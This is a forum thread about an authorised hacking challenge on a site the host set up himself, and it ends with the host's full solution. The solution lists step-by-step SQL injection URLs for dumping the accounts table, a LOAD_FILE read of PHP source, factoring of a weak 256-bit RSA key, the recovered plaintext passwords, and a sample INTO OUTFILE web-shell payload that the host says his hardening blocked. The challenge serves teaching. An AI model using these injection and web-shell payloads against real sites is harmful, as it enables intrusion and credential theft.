Security Challenge III (Hacking Challenge)

h57xiucj2z946q

Its that time again. The third challenge is here. Try get on the hall of fame.

Its a little bit more difficult than the last challenge, so if people are finding it too difficult, I will start dropping hints around the server. As before, there is two parts to this challenge. First part is fairly trivial, 2nd part may catch people out!

Please read the rules on the main page before you continue.

Enjoy..

http://damo.dyndns.info/

You can also join irc.2600.net #2600ie

dlofnep

Woohoo Will give it a shot. Thanks for setting it up.

Pygmalion

I don't think this is a spoiler at all, but just in case...

Is brute-forcing required here or is there something clever going on with the passwords?

h57xiucj2z946q

Pygmalion wrote: »

I don't think this is a spoiler at all, but just in case...

Is brute-forcing required here or is there something clever going on with the passwords?

Hey..

No brute forcing or guess work is required. Instead try figure out how im checking the passwords your submitting

Pygmalion

Hayden Puny Stationery wrote: »

Hey..

No brute forcing or guess work is required. Instead try figure out how im checking the passwords your submitting

Ah, in that case I'm stuck, I'll keep playing around with what I have and a python shell to see if I can find any meaning in what I've managed to get so far for a password :P.

dlofnep

I think we're on the same stage

h57xiucj2z946q

Without giving anything away, think 900913 is a little bit further, but maybe stuck at that point. May have to drop hints soon hehe.

dlofnep

Progress

syklops

dlofnep wrote: »

Progress

Dont be saying stuff like that. Less chance of hints then

Pygmalion

syklops wrote: »

Dont be saying stuff like that. Less chance of hints then

My thoughts exactly

dlofnep

Think about what page is validating, and how one might view that page to see what it's doing.

Pygmalion

Ah I see what I have to do now, looks tricky, but I assume once I "get" it it won't be too infeasible.

c0ne

Hi there,

I got the login credentials... any hints on the pwd format?

Greets,
c0ne

dlofnep

Don't bother trying to crack it That's the only tip I can give you. You'll need unconventional methods to figure it out.

Pygmalion

Any ideas/hints for getting a valid password? Is it a dictionary word or something?

I see what's going on on the server-side, but I don't see how I'm supposed to use that, and google isn't helping much, I've run through a fairly large dictionary list doing essentially what the login-check.php seems to be doing but that gives no results either

.

h57xiucj2z946q

The crypt is not reversible, in the sense that the same algorithm reversed won't give original input.

But its not a one way hash either. So what does this leave?

Google up on the functions that im using. See what they're used in.


No brute forcing is necessary. When you figure out what it is, it shouldn't require more than 5 minutes of CPU power.

This is a very good hint.

h57xiucj2z946q

Those of you running

SQL

scanners, most of them have been blocked so they won't give you any results. This is to not only to make you do the work yourself, but to prevent hammering the server. If your having trouble, post here for help.

Pygmalion

Hayden Puny Stationery wrote: »

The crypt is not reversible, in the sense that the same algorithm reversed won't give original input.

But its not a one way hash either. So what does this leave?

Google up on the functions that im using. See what they're used in.


No brute forcing is necessary. When you figure out what it is, it shouldn't require more than 5 minutes of CPU power.

This is a very good hint.

I see what's being done to the password entered, and what it needs to match... But I don't really see any feasible way to get a working password from it.

Can I PM you to see if I'm at least going in the right direction?

h57xiucj2z946q

You can yeah.

Pygmalion

Hayden Puny Stationery wrote: »

You can yeah.

Done, am I thinking about it the right way?

h57xiucj2z946q

Pygmalion wrote: »

Done, am I thinking about it the right way?

Pretty much yeah, well done. Sent you on some guidance.

Pygmalion

Done :P

h57xiucj2z946q

Wooo! Well Done. Send me a PM of your approach. I will also send you on some details that you may find interesting.

Also what did you think of the challenge?

Pygmalion

Hayden Puny Stationery wrote: »

Also what did you think of the challenge?

Pretty good, started off as a straight-forward enough

SQL injection one, got the usernames and "passwords"

ok, but then a couple of really nice twists after that, and

how the passwords were actually dealt with was pretty awesome, actually makes you think, as opposed to the usual things, where they're either kept in plaintext, XORed against a constant in the source or you just need to throw them into some password brute-forcer and wait without really getting what the hell's going on

.

c0ne

Almost there...

h57xiucj2z946q

c0ne wrote: »

Almost there...

c0ne 2011-04-26 10:55:37

Well done!

c0ne

i could have done it faster, if i didnt mistyped some MySQL function last night..

Thanks damo2k, i noticed your post of cracking4newbies last night.
Cool 'hackme' you made

h57xiucj2z946q

Sweet, its had been a while since I was on #cracking4newbies @ EFNet.

h57xiucj2z946q

Are people stuck? Do you's need more hints?

900913

Yes, I'm still stuck.

It's a great challenge but the last part turns my brain to mush.

h57xiucj2z946q

Those of you stuck on the password stuff, look back at the furtherest point you got. I dropped a big hint.

For the others stuck, send me a PM.

dlofnep

I've been out all day so haven't had a crack at the final part yet. Will give it a look tomorrow Please don't take down the challenge yet.

h57xiucj2z946q

It will be up for the week.

dlofnep

Gunna give it a pass for now. Can't seem to wrap my head around the final math part. Bit too much for me. Might try it again later.

syklops

I too have to pass for now, though I never really got my teeth into it. Something has come up.

h57xiucj2z946q

Here is a good hint for everyone:

RSA 256bit Public Key

Find the Private key and decrypt the passwords with it.

dlofnep

Done! Thank jaysus. I'm not going to accept credit for this one on account of the amount of tips I needed! First part was easy, just the end bit had me boggled. Good learning experience as always. Thanks for hosting Damo!

c0ne

Now that whas a big spoiler

900913

That was really difficult. I got far to many tips and hints.
I'd be still here next year trying to complete this without the help I got.

Great challenge and learning experience.

h57xiucj2z946q

Sorry it was so difficult for people hehe. I think that's it for a while for me in creating challenges. I'm all outta ideas.

dlofnep

I'll get the next one going so Give me a few days though to get something up.

h57xiucj2z946q

dlofnep wrote: »

I'll get the next one going so Give me a few days though to get something up.

Cool, can't wait.

chuckleberryfin

I haven't had any time to look at this over the past week, so if it's ok with Damo I hope it'll stay up until the weekend.

But guys, please watch the spoiler tags and information leaking about the stages of the challenge, I'm trying my best to avoid them but posts like:

dlofnep wrote: »

Gunna give it a pass for now. Can't seem to wrap my head around the final math part. Bit too much for me. Might try it again later.

aren't helpful when I haven't had any time to look at it. I check the forum for updates from Damo specifically, anything else related to challenge details please wrap it in a spoiler tag.
It wasn't a big deal but it is information leaking. :mad:

h57xiucj2z946q

yeah it will be up for the weekend. Enjoy.

chuckleberryfin

Hayden Puny Stationery wrote: »

yeah it will be up for the weekend. Enjoy.

Great, thanks Damo!

h57xiucj2z946q

Is anyone still trying this?

chuckleberryfin

Hayden Puny Stationery wrote: »

Is anyone still trying this?

Sorry, yes. Going to have a look shortly.

chuckleberryfin

Hayden Puny Stationery wrote: »

Is anyone still trying this?

I had no time to try this over the weekend and will be busyish this week too, if you need to take it down/post a solution go ahead.

h57xiucj2z946q

Solution:

Upon looking at the page, you may be tempted to try override the login page check via SQL injection by using passwords like

' or 1=1--

however you will realise that this is unsuccessful.

After much snooping around, eventually you will come across the link:

http://damo.dyndns.info/member-info.php?id=1

Lets try:

http://damo.dyndns.info/member-info.php?id=22

and you get "user not found"

Ok try test for SQL Injection:

http://damo.dyndns.info/member-info.php?id=1'

and you get "SQL Error" Thats good!

We know the php script is sql injectable as we were able to manipulate the query the php script calls. We can refer to http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ for some ideas now what to run.

Lets try figure out how many column are in the table:

http://damo.dyndns.info/member-info.php?id=999' UNION SELECT 1-- --
http://damo.dyndns.info/member-info.php?id=999' UNION SELECT 1,2-- --
...
http://damo.dyndns.info/member-info.php?id=999' UNION SELECT 1,2,3,4,5-- --

Eventually you will find there is 5 columns. After trying various queries to determine the database server, you will discover its mysql. You can also run:

http://damo.dyndns.info/member-info.php?id=x' UNION ALL SELECT 1,2,VERSION(),USER(),DATABASE()-- --

Since SQL injection tutorials are plentyful online, I will run through this part fairly quickly (you will find many of these tutorials online) Hint: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

Find all tables and columns:

http://damo.dyndns.info/member-info.php?id=999' UNION ALL SELECT table_schema, table_name, column_name,4,5 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1,1-- --
http://damo.dyndns.info/member-info.php?id=999' UNION ALL SELECT table_schema, table_name, column_name,4,5 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 3,1-- --
...
http://damo.dyndns.info/member-info.php?id=999' UNION ALL SELECT table_schema, table_name, column_name,4,5 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 7,1-- --
etc..

Interesting is table: accounts columns: username, password

http://damo.dyndns.info/member-info.php?id=999' UNION SELECT concat(username,0x3a,password),2,3,4,5 FROM accounts LIMIT 1,2-- --
http://damo.dyndns.info/member-info.php?id=999' UNION SELECT concat(username,0x3a,password),2,3,4,5 FROM accounts LIMIT 1,1-- --
...
http://damo.dyndns.info/member-info.php?id=999' UNION SELECT concat(username,0x3a,password),2,3,4,5 FROM accounts LIMIT 1,6-- --

So now you collected:

id,username,password
1,stallone,21931612612497072057223363984640018576941344837908246925728627135537535641010
2,statham,3067717614928208300717662945626094872000566022036885483506200003963906954708
3,li,30102170383517656100339103282896536415880958985425466410611878430840712856655
4,lundgren,7102305055460944491819831135270619589847097622476415748061198265376130920468
5,crews,26925474123041785085421302310709073966486677328545050813756349061735087550918
6,couture,12754639886684166352019758589670761641043110308208280152016151260244025938669

Hmm what are these passwords, if you try it as plain text you see it won't work. It doesn't have any hexadecimal chars (A...F) so its most likely not a hash, so its very possible that this is not something common or its custom.

How can we see how the passwords are been verified? Looking at login.php, you see it POST's data to login-check.php. This script must check the password. We can try see if LOAD_FILE() is enabled and see if we can read the file.

LOAD_FILE('login-check.php') is no good, you need to specify the full path. You can see the web server is Apache 2.2.9 on Debian 6 (Hint: http://web-sniffer.net/) So take a look at: http://wiki.apache.org/httpd/DistrosDefaultLayout and you will see that the default DocumentRoot is "/var/www" so lets hope the admin uses that.

http://damo.dyndns.info/member-info.php?id=999' UNION ALL SELECT 1,2,3,load_file('/var/www/login-check.php'),5-- --

Now view page source as browsers wont show text between < and >:

<?php
# WHAT ARE YOU DOING HERE? :-)

session_start();
require_once("config.php");

$n = "32061471329357403936951218006847462756256240054356432054937133940190294794673";
$e = "65537";

if ((isset($_POST['username'])) && (isset($_POST['password']))) {

	# No SQLi for this part :-)
	$username = mysql_real_escape_string($_POST['username']);
	$password = mysql_real_escape_string($_POST['password']);

	$m = bchexdec(bin2hex($password));
	$crypt = bcpowmod($m, $e, $n);

	$qry = "SELECT id, username FROM accounts WHERE username = '$username' AND password = '$crypt'";	
	$result = mysql_query($qry);
	
	if($result) {
		if(mysql_num_rows($result) == 1) {
		
			session_regenerate_id();
			$member = mysql_fetch_assoc($result);
			
			$_SESSION['SESS_ID'] = $member['id'];
			$_SESSION['SESS_USERNAME'] = $member['username'];
			session_write_close();
			header("location: login-successful.php");
			exit();
			
		} else {
			header("location: login-failed.php");
			exit();
		}
	} else {
			header("location: login-failed.php");
			exit();
	}	
} else {
	header("location: login-failed.php");
	exit();	
}


# Convert hexadecimal string to decimal, with support for big integers
# http://stackoverflow.com/questions/1273484/large-hex-values-with-php-hexdec
function bchexdec($hex) {
    $dec = 0;
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++) {
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
    }
    return $dec;
}
?>

hmm well first off you will see that we convert the submitted password to a hexadecimal string and that the function bchexdec converts this to a large integer. Note this function is the same as native PHP's hexdec, except it can support integers larger than your machine's INT size. 32 or 64bit. But what is that bcpowmod doing? You should google up on that. Also you will see that I'm calling mysql_real_escape_string() so you cannot bypass the password check with SQLi.

http://php.net/manual/en/function.bcpowmod.php This still probably doesn't make things any clearer, and you can't find any way to reverse this. So lets see what passwords/cryptos use bcpowmod. You will eventually some across RSA if you google: "bcpowmod password" or "bcpowmod crypto"

http://en.wikipedia.org/wiki/RSA You may need to read a few articles on RSA online before you continue. (Hint: http://www.muppetlabs.com/~breadbox/txt/rsa.html is excellent)

So based on our code above, you can conclude that 32061471329357403936951218006847462756256240054356432054937133940190294794673 is our modulus (n) and 65537 is our exponential (e) which makes up our public key. You can then assume the passwords you recovered earlier are intact the password encrypted.

Your password you submit, encrypted with the public key, must be equal to the password crypt in the database, which you previously recovered.

Basically public key/private cryptography works on the principal that a message (m) that is encrypted with a public key (e, n) can only be decrypted with the private key (d, n). The problem is that you don't know the decryption key.

So we have e, and n. And a list of crypt messages/passwords (c)
If you read up on RSA, you will know:

Modulus n is made up of 2 primes; p and q (we don't know these)

n = p  * q

According to http://en.wikipedia.org/wiki/RSA :
Decryption key d is the multiplicative inverse of emod φ(n). That is: d = e^ –1 mod φ(n);
It also mentions φ(n) is (p – 1)(q – 1). Therefore Decryption key d is:

d = e ^ -1 % ((p - 1) * (q - 1))

We have e, so it looks like we need to get p and q. n is the result of p * q, but how to reverse this? Its hard to know what to search for online, well unless you continued to read the RSA article on wikipedia, you may be a bit lost now..

http://en.wikipedia.org/wiki/RSA#Integer_factorization_and_RSA_problem:

The security of the RSA cryptosystem is based on two mathematical problems: the problem of factoring large numbers and the RSA problem. Full decryption of an RSA ciphertext is thought to be infeasible on the assumption that both of these problems are hard, i.e., no efficient algorithm exists for solving them. Providing security against partial decryption may require the addition of a secure padding scheme.[citation needed]

The RSA problem is defined as the task of taking eth roots modulo a composite n: recovering a value m such that c\equiv m^e\text{ (mod }n\text{)}, where (n,e) is an RSA public key and c is an RSA ciphertext. Currently the most promising approach to solving the RSA problem is to factor the modulus n. With the ability to recover prime factors, an attacker can compute the secret exponent d from a public key (n,e), then decrypt c using the standard procedure. To accomplish this, an attacker factors n into p and q, and computes (p − 1)(q − 1) which allows the determination of d from e. No polynomial-time method for factoring large integers on a classical computer has yet been found, but it has not been proven that none exists. See integer factorization for a discussion of this problem. Rivest, Shamir and Adleman have shown that finding d from n and e is equally hard as factoring n into p and q.[1] However, this proof does not imply that inverting RSA is equally hard as factoring.

As of 2010, the largest (known) number factored by a general-purpose factoring algorithm was 768 bits long (see RSA-768), using a state-of-the-art distributed implementation. RSA keys are typically 1024–2048 bits long. Some experts believe that 1024-bit keys may become breakable in the near term (though this is disputed); few see any way that 4096-bit keys could be broken in the foreseeable future. Therefore, it is generally presumed that RSA is secure if n is sufficiently large. If n is 300 bits or shorter, it can be factored in a few hours on a personal computer, using software already freely available. Keys of 512 bits have been shown to be practically breakable in 1999 when RSA-155 was factored by using several hundred computers and are now factored in a few weeks using common hardware.[9] A theoretical hardware device named TWIRL and described by Shamir and Tromer in 2003 called into question the security of 1024 bit keys. It is currently recommended that n be at least 2048 bits long.[10]

In 1994, Peter Shor showed that a quantum computer (if one could ever be practically created for the purpose) would be able to factor in polynomial time, breaking RSA.

So the key term here is to "factor". We need to factorize our modulus n. You can look up about factoring online here http://en.wikipedia.org/wiki/Integer_factorization

It also states that 300bit can be broke in a few hours (at time of article writing). We know our modulus is 77 digits, so this is 256bit, therefore with a modern computer, this should only take minutes for factorise.

However its not really important to understand any of this if math is not your area. What you can conclude is that you need a way to factorise n to get p and q, Then use e, p and q to generate your decryption key. You use this decryption key on the encrypted passwords, to get the original passwords.

Each of these steps has tools publically available to automatically do this for you.

For the factorisation, there are many tools you can get. You can google around. I came across http://gilchrist.ca/jeff/factoring/nfs_beginners_guide.html however if you cannot be bothered setting this up, look here: http://www.mersenneforum.org/showthread.php?t=3255 for more tools, some of these ones are stand alone executables and are easier to use. For this write-up, I will use msieve. Download it from: http://sourceforge.net/projects/msieve/

Just run:

# msieve148 32061471329357403936951218006847462756256240054356432054937133940190294794673

After about 5-10 minutes the program should finish. Look for a msieve.log file in the same dir as the executable. You should see at the end:

Fri Apr 22 22:12:44 2011  prp39 factor: 174612051949042122912137671060236603707
Fri Apr 22 22:12:44 2011  prp39 factor: 183615454783808724229736937369664334339
Fri Apr 22 22:12:44 2011  elapsed time 00:05:30

(5 and a half minutes on a 2.4ghz core2duo)

We already had e. Now we p and q. We can easily calculate d. You can use any programming language once you use large integer support. (Note I have attached a C++ and Java solution from nivekd in the zip) You could also do it in PHP if you use BC Math, GMP, or big_int.

Or you could take the lazy route and use some tools available online e.g. RSA Tool 2 v 1.7 by tE! or Keygener Assistant 1.7 (note these factorise also, but are pretty old so use slower algorithms, compared to tools today).

A better tool, and its easier to use is the RSA Demo applet here: http://islab.oregonstate.edu/koc/ece575/02Project/Mor/

You will end up with the decryption key: 16200736752414663301281360689606795804268101736837244843025280498505839494577

You can use this decryption key d in replace of n and decrypt our encrypted passwords (c) to give us our plain text (m) in the exact same way the m was encrypted.

e.g. sample code:

$c = "21931612612497072057223363984640018576941344837908246925728627135537535641010";  # stallone's cyphered password
$e = "65537"; # exponent
$d = "16200736752414663301281360689606795804268101736837244843025280498505839494577"; decryption key

$decrypted = dec2hex(bin2hex(bcpowmod($c, $e, $d)));
# dec2hex function defined here http://php.net/manual/en/function.dechex.php in comments, supports large integers

echo $decrypted;

As RSA deals with integers, this will give you an (big) integer which you must convert to hexadecimal, then to string. nivekd's java and c++ code will show you how to do this also. You can also use RSA Tool by tE! to do this for you without having to code. Its even also easier to do with the RSA Demo applet I pasted the link to above.

Crypt: 21931612612497072057223363984640018576941344837908246925728627135537535641010
Decrypted: 9048235983735419073365537945950
To String: r4mb0_r0ck3y^

That's really it. The rest of the credentials were:

stallone   r4mb0_r0ck3y^
statham    cr4nk|tr4anp0rter$
li         cradle2thegr4ve_theone111!!
lundgren   he-man_theD3f3nd3r
crews      NFL_oldSp1ce?
couture    the3xp3ndabl3s_UFC%

Just some extras, server was same as in challenge II. The challenge mysql db user was given FILE permissions to allow LOAD_FILE(), this also allows a user to redirect the output of a query into a file. Therefore I set /var/www as read-only to mysql user. This was to prevent users using INTO OUTFILE to upload a php shell. E.g.

UNION ALL SELECT "<?php passthru($_GET['cmd']); ?>",2,3,4,5 INTO OUTFILE "/var/www/shell.php"

Also I made the file config.php which contained the database connection information readable to www-data only. So LOAD_FILE() could not read this file, which would be called by the mysql user. This wasn't to make the challenge more difficult, but it was to stop people going off on the wrong trail, as there is no way they could use the mysql challenge user DB password anyway. Mysql user was also blocked from making outgoing connections. Not sure if that can be done with SQLi anyway, but just to be safe!

Cheers to nivekt for his ideas and for providing java/c++ solutions and livewire for letting me use his website design.

h57xiucj2z946q

Hall Of Fame:

Pygmalion		2011-04-26 01:21:18
c0ne			2011-04-26 10:55:37
Fungi			2011-04-26 22:00:06
Pat Kenny		2011-04-27 00:41:39
Pilate			2011-04-27 07:17:37
peann			2011-04-27 17:03:20
900913			2011-04-27 23:42:38
Procasinator		2011-04-28 15:59:04

dlofnep

Thanks again Damo toughest challenge yet! I'm working on one at the moment, might be a few days.